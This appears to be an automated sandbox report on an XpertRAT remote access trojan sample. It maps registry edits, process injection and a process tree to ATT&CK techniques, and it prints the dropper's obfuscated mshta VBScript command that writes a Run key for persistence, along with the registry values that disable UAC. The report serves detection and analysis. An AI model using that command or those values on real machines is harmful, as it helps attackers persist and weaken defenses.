xpertrat | 0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	OPHAVSRETTEN.exe

Windows security bypass 2 TTPs 1 IoCs

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UACDisableNotify = "0"	OPHAVSRETTEN.exe

XpertRAT
XpertRAT is a remote access trojan with various capabilities.
rat xpertrat

XpertRAT Core payload 3 IoCs

resource	yara_rule
behavioral2/memory/4156-22-0x0000000000400000-0x0000000000444000-memory.dmp	xpertrat
behavioral2/memory/4156-24-0x0000000000400000-0x0000000000444000-memory.dmp	xpertrat
behavioral2/memory/4156-35-0x0000000000400000-0x0000000000444000-memory.dmp	xpertrat

Xpertrat family
xpertrat

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run	OPHAVSRETTEN.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5 = "C:\\Users\\Admin\\AppData\\Roaming\\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5\\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5.exe"	OPHAVSRETTEN.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe

Executes dropped EXE 3 IoCs

pid	Process
1752	OPHAVSRETTEN.exe
4564	OPHAVSRETTEN.exe
4156	OPHAVSRETTEN.exe

Windows security modification 2 TTPs 1 IoCs

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UACDisableNotify = "0"	OPHAVSRETTEN.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5 = "C:\\Users\\Admin\\AppData\\Roaming\\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5\\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5.exe"	OPHAVSRETTEN.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5 = "C:\\Users\\Admin\\AppData\\Roaming\\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5\\P4U8M5X3-N0E7-O7S5-B1Y3-J7Q6J4S0G6G5.exe"	OPHAVSRETTEN.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	OPHAVSRETTEN.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1752 set thread context of 4564	1752	OPHAVSRETTEN.exe	84
PID 4564 set thread context of 4156	4564	OPHAVSRETTEN.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OPHAVSRETTEN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OPHAVSRETTEN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OPHAVSRETTEN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4564	OPHAVSRETTEN.exe
4564	OPHAVSRETTEN.exe
4564	OPHAVSRETTEN.exe
4564	OPHAVSRETTEN.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	OPHAVSRETTEN.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4480	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe
1752	OPHAVSRETTEN.exe
4564	OPHAVSRETTEN.exe
4156	OPHAVSRETTEN.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4480 wrote to memory of 1396	4480	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe	82
PID 4480 wrote to memory of 1396	4480	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe	82
PID 4480 wrote to memory of 1396	4480	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe	82
PID 4480 wrote to memory of 1752	4480	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe	83
PID 4480 wrote to memory of 1752	4480	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe	83
PID 4480 wrote to memory of 1752	4480	0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe	83
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 1752 wrote to memory of 4564	1752	OPHAVSRETTEN.exe	84
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85
PID 4564 wrote to memory of 4156	4564	OPHAVSRETTEN.exe	85

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	OPHAVSRETTEN.exe

C:\Users\Admin\AppData\Local\Temp\0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe
"C:\Users\Admin\AppData\Local\Temp\0790d761632c5c449691b48d4900c9339ca838b3e96a39512793e6ddfd6f3779N.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\:\Run\sprgekasser"" : myKey = ""HKCU\Software\Microsoft\Windows\X\Run\NOME"" : myKey=replace(myKey,"":"",""CurrentVersion"") : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\OPHAVSRETTEN.exe"",""REG_SZ"" : window.close")
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1396
- C:\Users\Admin\AppData\Local\Temp\OPHAVSRETTEN.exe
  "C:\Users\Admin\AppData\Local\Temp\OPHAVSRETTEN.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Users\Admin\AppData\Local\Temp\OPHAVSRETTEN.exe
    "C:\Users\Admin\AppData\Local\Temp\OPHAVSRETTEN.exe"
    3⤵
    - UAC bypass
    - Windows security bypass
    - Executes dropped EXE
    - Windows security modification
    - Checks whether UAC is enabled
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:4564
  - - C:\Users\Admin\AppData\Local\Temp\OPHAVSRETTEN.exe
      C:\Users\Admin\AppData\Local\Temp\OPHAVSRETTEN.exe
      4⤵
      Adds policy Run key to start application
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

3

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

3

T1082

System Location Discovery

T1614

System Language Discovery